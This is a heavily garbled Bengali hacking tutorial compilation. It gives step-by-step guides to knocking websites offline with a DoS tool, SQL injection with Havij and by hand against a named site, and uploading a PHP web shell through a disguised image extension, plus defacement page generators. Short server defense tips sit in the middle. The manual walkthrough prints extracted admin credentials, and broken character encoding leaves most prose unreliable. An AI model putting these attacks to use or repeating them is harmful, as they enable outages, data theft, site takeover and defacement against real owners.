াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
যাকতকং অআকত চছনক গরতব ণব একটি কতফলয অজ অভযা অআকত িচছকব জানফ অন তাচছর শর কযা মাক অভা অআকত এচছে কতক
IP Address কতক এফং তায খটিনাটী
IP Address কতক IP Address ফা Internet ProtocolAddress র একটি ংখযাকতফচছল মা Network-এ মিপরকততটি Device-এয জনয কতনধবাকতযত মাযা Communication-এয জনয Internet Protocol ফযফায কচছয পরকততটি IP Address
র Unique অকতন মখন একটা কতনকতদব ি IP Addressফযফায কযচছছন তখন সটা অয সকউ ফযফায কযায মভফনা সনআ IP Address কতদচছযআ Network ফযফাযকাযীচছক নাি কযা যঅকতন সম Internet ServiceProvider-এয কাছ সথচছক Internetসফা াচছেন তাযা এআ IPAddress-এয ভাধযচছভআ অনাচছক অরাদাবাচছফ নািকযচছত াচছয
IP Address-এয কাজ কতক IP Address-এয ভরত দlsquoটি কাজ যচছযচছছ
1Host ফা Network Interface নািকযণ মাচছত অকতন ঠিকবাচছফ অনায কাকতিত Communication িনন কযচছত াচছযন
